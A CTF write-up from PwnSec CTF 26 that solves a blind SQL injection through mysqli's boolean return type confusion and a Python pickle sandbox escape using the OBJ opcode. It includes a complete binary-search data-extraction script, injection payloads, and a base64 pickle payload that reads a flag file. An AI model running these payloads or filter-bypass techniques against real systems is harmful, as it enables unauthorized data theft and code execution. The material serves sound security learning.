PHP · MySQL · mysqli · Python 3.12 · Flask · pickle · pickletools · curl · requests · sqlmap

Introduction

PwnSec CTF 26 ran on September 12th under a “Humans vs Cyborgs” banner at pwnsec.ctf.ae. I came out of it with two flags, both from easy web challenges. That’s the whole scoreboard story on my end, and I’d rather write it down than pretend otherwise.

The two solves were worth writing up anyway, because neither one fell to a standard payload. Slop Slop Go Away was a SQL injection where every classic channel was deliberately sealed off and the actual oracle turned out to live in the PHP, not the SQL. Time Capsule was a pickle deserialization challenge wrapped in three separate filters, where the way through was an opcode most people forget exists.

Both writeups below are the full thing, exactly as I worked them.


Challenge 1: Slop Slop Go Away

Difficulty: Easy  |  Category: Web

The challenge statement was a nursery rhyme, credited to “Fat Mesh”:

slop slop go away
Come again another day
Be the person that you fear
Slop slop go away

1. The source code

Visiting the URL directly dumps the PHP source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$START = microtime(true);
ob_start();
register_shutdown_function(function () use ($START) {
$remaining = 2.0 - (microtime(true) - $START);
if ($remaining > 0) {
usleep((int)($remaining * 1000000));
}
}); // no timing attack!!
mysqli_report(MYSQLI_REPORT_OFF);
$db = new mysqli("127.0.0.1", "user", "user", "chall");
echo highlight_file(__FILE__, true);
if (isset($_GET["id"])) {
$sql = "SELECT username FROM users WHERE id = " . $_GET["id"];
$res = $db->query($sql);
if (!$res) {
die("ill try to tell him, dw");
}
$row = $res->fetch_row();
echo 'ill try to tell him, dw';
}
?>

Observations

  1. Raw SQL injection on id, with no sanitization and no parameterization.
  2. A deliberate 2-second floor via register_shutdown_function. Every response takes at least 2.0s, and the comment // no timing attack!! confirms it’s intentional.
  3. The output is always the same string. $row is fetched but never printed, so UNION-based output is useless.
  4. mysqli_report(MYSQLI_REPORT_OFF) hides MySQL errors.

The subtle bug

1
2
3
$res = $db->query($sql);   // mysqli_result | TRUE | FALSE
if (!$res) { die(...); } // FALSE → die
$row = $res->fetch_row(); // TRUE → FATAL ERROR

mysqli::query() returns three different types:

Query type Return
SELECT, SHOW, DESCRIBE, EXPLAIN mysqli_result object
INSERT, UPDATE, DELETE, SELECT ... INTO @var, SELECT ... INTO OUTFILE TRUE (boolean)
Error FALSE

When it returns TRUE, the next line executes TRUE->fetch_row(), which is a fatal PHP error:

1
Fatal error: Uncaught Error: Call to a member function fetch_row() on bool

That fatal error changes the response body. This is our oracle.

2. The dead ends

Before finding the oracle, everything classic fails:

Payload Result Why
id=1 OR SLEEP(5) 2.4s users empty → WHERE not evaluated
id=(SELECT SLEEP(5)) 2.4s Same reason
id=1 UNION SELECT SLEEP(5)-- 2.4s -- needs a trailing space, and column count must match
BENCHMARK(3000000000, MD5(1)) 2.4s Query never executed
INTO OUTFILE '/var/www/html/x' 404 No FILE privilege / secure_file_priv block
LOAD_FILE('\\\\...oast.fun\\a') No DNS hit No FILE privilege
sqlmap 30+ min, no hit 2s shutdown sleep defeats its statistical model

Everything returned byte-identical output. All timing and out-of-band channels were dead.

3. The breakthrough

Force query() to return TRUE using SELECT ... INTO @var, a valid MySQL clause that produces no result set but needs no file privileges:

1
id = 1 INTO @x

The full query becomes:

1
SELECT username FROM users WHERE id = 1 INTO @x

MySQL accepts this, returns no result set, PHP’s mysqli::query() returns TRUE, and line 14 crashes with a fatal error.

Verified:

1
2
curl -s "https://.../?id=1%20INTO%20@x" | grep -o "Fatal error"
# → Fatal error

We now have a way to detect “query succeeded without a result set”.

4. Turning it into a boolean oracle

We need to make the crash conditional. The naive form:

1
1 AND IF(<condition>, 1, (SELECT 1 FROM nonexistent)) INTO @x

fails, because MySQL parses both branches of IF at parse time. Any invalid table reference in either branch breaks the query before the condition is ever evaluated.

The fix is to use an error that happens at runtime, only in the branch actually taken. The classic primitive is numeric overflow:

1
1 AND IF(<condition>, 1, EXP(99999)) INTO @x
  • Condition TRUEIF returns 1 → query succeeds → query() = TRUE → PHP fatally crashes → response contains Fatal error.
  • Condition FALSEIF returns EXP(99999) → double overflow error → query fails → $res = FALSEdie("ill try to tell him, dw") → normal response.

The oracle

1
Fatal error in response  ⇔  condition is TRUE

Verified end to end:

1
2
curl -s ".../?id=1%20AND%20IF(1=1,1,EXP(99999))%20INTO%20@x" | grep -c "Fatal error"   # → 1
curl -s ".../?id=1%20AND%20IF(1=2,1,EXP(99999))%20INTO%20@x" | grep -c "Fatal error" # → 0

One trap worth flagging: UNION ... INTO @x is invalid MySQL. INTO can only attach to the last SELECT of the top-level query, never after a UNION. That’s why the union variant returned 0 for both true and false, which cost me a while before I noticed. Always use the AND form.

5. Extracting data

Two optimizations make extraction practical given the forced 2s delay.

Binary search instead of linear scan. Naive scanning tries ASCII 32, 33, 34, and so on, up to 95 requests per character. Splitting 0 to 255 in half each time gets it to roughly 8 requests per character.

GROUP_CONCAT batching. Instead of one extraction per table name, pull them all in one SQL string:

1
2
3
SELECT GROUP_CONCAT(table_name SEPARATOR ',')
FROM information_schema.tables
WHERE table_schema='chall'

Same for columns, and rows via CONCAT_WS('|', col1, col2, ...). This collapses dozens of extractions into one.

6. The final Python script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
import requests

URL = "https://65d7587f7ad9145d.chal.ctf.ae/"

def oracle(cond):
payload = f"1 AND IF({cond},1,EXP(99999)) INTO @x"
r = requests.get(URL, params={"id": payload}, timeout=30)
return "Fatal error" in r.text

def get_len(query):
lo, hi = 0, 500
while lo < hi:
mid = (lo + hi) // 2
if oracle(f"LENGTH(({query}))>{mid}"):
lo = mid + 1
else:
hi = mid
return lo

def get_char(query, pos):
lo, hi = 0, 255
while lo < hi:
mid = (lo + hi) // 2
if oracle(f"ORD(SUBSTRING(({query}),{pos},1))>{mid}"):
lo = mid + 1
else:
hi = mid
return chr(lo) if 32 <= lo < 127 else f"\\x{lo:02x}"

def extract(query):
n = get_len(query)
if n == 0:
return ""
out = ""
for i in range(1, n + 1):
out += get_char(query, i)
print(f" [{i}/{n}] {out}", flush=True)
return out

print("[*] Fetching all table names in `chall`...")
tables_str = extract(
"SELECT GROUP_CONCAT(table_name SEPARATOR ',') "
"FROM information_schema.tables WHERE table_schema='chall'"
)
print(f"[+] Tables: {tables_str}")
tables = tables_str.split(",")

for t in tables:
print(f"\n=== Table: {t} ===")
cols_str = extract(
f"SELECT GROUP_CONCAT(column_name SEPARATOR ',') "
f"FROM information_schema.columns "
f"WHERE table_schema='chall' AND table_name='{t}'"
)
print(f"[+] Columns: {cols_str}")
cols = cols_str.split(",")

row_expr = "CONCAT_WS('|'," + ",".join(cols) + ")"
for i in range(0, 10):
val = extract(f"SELECT {row_expr} FROM {t} LIMIT {i},1")
if not val:
break
print(f" Row {i}: {val}")

print("\n[*] Done.")

How it works

  1. oracle(cond) sends the conditional INTO @x payload and checks the response for Fatal error.
  2. get_len(query) binary searches on LENGTH().
  3. get_char(query, pos) binary searches on ORD(SUBSTRING(..., pos, 1)).
  4. extract(query) walks the string one character at a time.
  5. Enumeration lists all tables in chall, then all columns of each, then dumps up to 10 rows per table via GROUP_CONCAT.
1
2
pip3 install requests
python3 extract.py

The flag lands in one of the dumped rows, usually in a flag table’s value column or in users.password.

7. Summary of the exploit chain

  1. Spot the type confusion. $res->fetch_row() on a boolean crashes PHP.
  2. Trigger TRUE deterministically with SELECT ... INTO @x.
  3. Make it conditional with IF(cond, 1, EXP(99999)), a runtime error rather than a parse error.
  4. Build a boolean oracle on the presence of Fatal error in the response.
  5. Extract with binary search and GROUP_CONCAT to defeat the 2-second floor.

The 2-second shutdown sleep and its // no timing attack!! comment were the intended red herring. The real vulnerability is the type confusion between mysqli_result and TRUE at line 14, which hands you a boolean side channel that the timing lock does nothing to stop.

8. Key takeaways

  • mysqli::query() has three return types, and checking only if (!$res) is not enough. Any code that assumes mysqli_result after that check is broken.
  • Runtime errors beat parse errors for conditional blind SQLi. EXP(99999), 1/0, CAST(... AS UNSIGNED) and UPDATEXML() all error at evaluation time and are safe on the branch that isn’t taken.
  • INTO @var is a privilege-free way to force a non-result-set return.
  • GROUP_CONCAT plus binary search is the standard way to make boolean blind SQLi bearable over slow links.
  • When every classic channel is dead, look for the bug in the PHP itself, not the SQL.

Challenge 2: Time Capsule (Pickle Sandbox Escape)

Difficulty: Easy  |  Category: Web

Challenge summary

A Flask web app called “Time Capsule” accepts a base64-encoded Python pickle, runs it through a hardened restricted unpickler, and executes whatever it decodes to. Three independent layers of defense stand between the payload and code execution. The goal is to read /app/flag.txt on the server.

Challenge statement

The challenge ships six files: a Dockerfile, docker-compose.yml, webapp.py, sessionstore.py, app.js and index.html. The app exposes a single endpoint:

1
2
POST /restore
Body: {"payload": "<base64>"}

The server base64-decodes the payload, runs it through a filter, then deserializes it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
BANNED_PATTERNS = [
b".",
b"os", b"system", b"popen", b"subprocess", b"commands",
b"exec", b"eval", b"import", b"getattr", b"setattr", b"flag"
]
BANNED_INSTRUCTION = "REDUCE"
ALLOWED_MODULES = {"sessionstore", "collections"}

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module.split(".")[0] not in ALLOWED_MODULES:
raise pickle.UnpicklingError("module %r is not allowed" % module)
return super().find_class(module, name)

def check(data):
for pattern in BANNED_PATTERNS:
if pattern in data:
raise ValueError("Payload contains banned characters!")
out = io.StringIO()
try:
pickletools.dis(data, out=out)
disassembled = out.getvalue()
if BANNED_INSTRUCTION in disassembled:
raise ValueError("Payload contains banned instruction: %s" % BANNED_INSTRUCTION)
except Exception:
disassembled = "Error!"
return disassembled

def restore(raw_b64):
data = base64.b64decode(raw_b64)
disassembled = check(data)
buf = io.StringIO()
with contextlib.redirect_stdout(buf):
try:
RestrictedUnpickler(io.BytesIO(data)).load()
except Exception:
pass
return buf.getvalue(), disassembled

Docker confirms Python 3.12 and the flag location:

1
2
3
FROM python:3.12-slim
...
COPY --chown=root:root flag.txt /app/flag.txt

The three defenses

Module allow-list. Only imports from sessionstore (the app’s own tiny helper module, with Capsule, render and new_capsule) or collections are permitted. No os, no sys, no subprocess.

REDUCE opcode ban. After disassembling the payload with pickletools.dis, if the string "REDUCE" appears anywhere in the output, the payload is rejected. REDUCE is the opcode the textbook pickle exploit relies on: GLOBAL a dangerous callable, push args, REDUCE to call it.

Raw-byte substring filter. The undecoded pickle bytes are scanned for os, system, subprocess, import, getattr, setattr, flag and friends. Notably, . (a bare period) is banned outright.

How we got there

Pickle isn’t just data, it’s a tiny stack VM. Deserializing a pickle means executing a stream of opcodes: GLOBAL resolves module.name, various opcodes build containers, and normally REDUCE calls a function with arguments. That’s what makes pickle deserialization dangerous, and it’s what this challenge partially blocks.

REDUCE isn’t the only opcode that calls something. Pickle protocol 0 has an older opcode, OBJ, whose handler in pickle.py does roughly this:

1
2
3
args = pop_mark()      # everything since the last MARK
cls = args.pop(0) # first item = the "callable"
return cls(*args) # ordinary Python call

I confirmed it empirically: a hand-crafted payload using OBJ instead of REDUCE disassembles with no "REDUCE" in the output, and still calls the target with arguments.

Finding a gadget inside the whitelist. collections looks harmless, since it’s just container types, but reading its actual source with inspect.getsource shows two things worth exploiting:

  • collections.__builtins__: for any normally-imported module, Python auto-injects __builtins__ into its namespace as the real builtins dict, not the module object. GLOBAL collections __builtins__ hands you every builtin function by name (open, print, vars, type, chr, str, len, and the rest) for free.
  • collections._itemgetter: collections imports operator.itemgetter as a private name at the top of the file. itemgetter(key)(obj) is obj[key] expressed as a function call instead of [] syntax.

Generic attribute access without . or getattr. The byte filter blocks the literal . and the word getattr, so no dot syntax and no getattr() calls anywhere. The workaround: vars(obj) returns obj.__dict__ for any object that has one (modules, classes, instances), and that dict is subscriptable via itemgetter. Combined with type(), this gives a full reflection primitive:

1
2
vars(type(some_object))['method_name'](some_object, *args)
# equivalent to: some_object.method_name(*args)

No STOP opcode. STOP, the opcode marking end of stream, is literally the byte 0x2e, which is ., which is banned. Every payload therefore has to end abruptly without it. restore() catches the resulting EOFError with a bare except: pass, so this costs nothing. It also has a side effect in our favor: check()‘s pickletools.dis() call raises on the truncated stream, caught by the same broad except Exception, so the "REDUCE" string search never even executes for any STOP-less payload.

Building /app/flag.txt without the literal bytes flag or .. The filename gets assembled piece by piece at runtime: "/app/fl" + "ag" + chr(N) + "txt", where N needs to equal 46, the ASCII code for .. My first attempt embedded the integer 46 directly via a BININT1 opcode, which puts the raw byte 0x2e straight into the payload and immediately trips the . filter, an actual bug I caught while testing. The fix is to compute 46 at runtime instead of writing it: concatenate two filler strings of safe lengths (20 and 26 characters) and take len() of the result, so the number 46 only ever exists in memory during unpickling, never as a byte I sent.

Final exploit chain

  1. GLOBAL collections _itemgetteroperator.itemgetter
  2. GLOBAL collections __builtins__ → the real builtins dict
  3. Pull vars, type, open, print, chr, str and len out of that dict via itemgetter
  4. Build the integer 46 from len("q"*20 + "q"*26), then chr(46)"."
  5. Assemble ["/app/fl", "ag", ".", "txt"] as a pickle list, join with ""
  6. open(path) → file handle
  7. vars(type(fh))['read'](fh) → file contents, with no dot and no getattr
  8. print(contents) → lands in the app’s captured stdout, returned in the JSON response
  9. Every call uses OBJ, never REDUCE, and the stream has no STOP

Proof of concept

Rather than hand-write raw pickle bytes, I built a small opcode assembler (MARK, SHORT_BINUNICODE, GLOBAL, OBJ, BINPUT/BINGET for memoization, EMPTY_LIST/APPENDS) and tested the full chain against an exact local copy of check(), RestrictedUnpickler and restore() taken from the provided webapp.py, on Python 3.12.3 to match python:3.12-slim.

First I proved the mechanics against a local test file with a dot-free name, where the full reflection chain worked and printed the file contents correctly. Then I proved the obfuscated path reconstruction against a local file deliberately named with “flag” and “.” in it, confirming the payload passed the banned-substring filter and still printed the right contents. Only then did I swap the path fragments to target /app/flag.txt for the real submission.

Final payload

Submit as the payload field to /restore:

1
Y2NvbGxlY3Rpb25zCl9pdGVtZ2V0dGVyCnEAY2NvbGxlY3Rpb25zCl9fYnVpbHRpbnNfXwpxAShoAIwEdmFyc29xAihoAmgBb3EDKGgAjAR0eXBlb3EEKGgEaAFvcQUoaACMBG9wZW5vcQYoaAZoAW9xByhoAIwFcHJpbnRvcQgoaAhoAW9xCShoAIwDY2hyb3EKKGgKaAFvcQsoaACMA3N0cm9xDChoDGgBb3ENKGgDaA1vcQ4oaACMBGpvaW5vcQ8oaA9oDm9xEChoAIwDbGVub3ERKGgRaAFvcRJdcRNoEyiMFHFxcXFxcXFxcXFxcXFxcXFxcXFxjBpxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcWVxFChoEIwAaBRvcRUoaBJoFW9xFihoC2gWb3EXXXEYaBgojAcvYXBwL2ZsjAJhZ2gXjAN0eHRlMChoEIwAaBhvcRkoaAdoGW9xGihoBWgab3EbKGgDaBtvcRwoaACMBHJlYWRvcR0oaB1oHG9xHihoHmgab3EfKGgJaB9v
1
2
3
curl -s -X POST https://<target-host>/restore \
-H "Content-Type: application/json" \
-d '{"payload":"<the base64 above>"}'

The output field of the JSON response contains the flag.

Key techniques

  • REDUCE isn’t the only pickle opcode that calls a callable. OBJ, protocol 0’s cls(*args) form, works identically and shows up as a distinct opcode name in pickletools.dis output.
  • A whitelisted, safe-looking module can still leak dangerous references. Always check what a module quietly imports at its own top level with inspect.getsource, not just its documented public API.
  • vars(obj) (which gives obj.__dict__) plus a subscript primitive like operator.itemgetter together form a full generic attribute-read gadget that needs neither dot syntax nor getattr.
  • Pickle’s STOP opcode is the literal byte ., so a filter banning . forces every payload to end abruptly. Check whether the app’s exception handling around Unpickler.load() tolerates that before assuming it’s fatal.
  • Never embed a sensitive integer or string literally if a filter can see it. Compute it at runtime, for example via len() of unrelated strings, so it only exists in memory during execution and never in the bytes you send.

Closing Thoughts

Two flags, both easy web. That’s the whole result for this one, and there’s no reason to dress it up as more than it was.

What made both worth the time was that neither gave up its flag to the obvious first move. sqlmap ran for over 30 minutes against Slop Slop Go Away and found nothing, because the bug wasn’t in the SQL at all, it was three lines of PHP below the query. Time Capsule blocked the pickle opcode everyone reaches for first and left an older one sitting right next to it, unblocked. In both cases the fix came from rereading the source slowly instead of trusting the first tool that came to hand, and Time Capsule even caught me making the same kind of mistake once, when an early payload leaked the banned byte 0x2e straight into the pickle stream through a BININT1 opcode.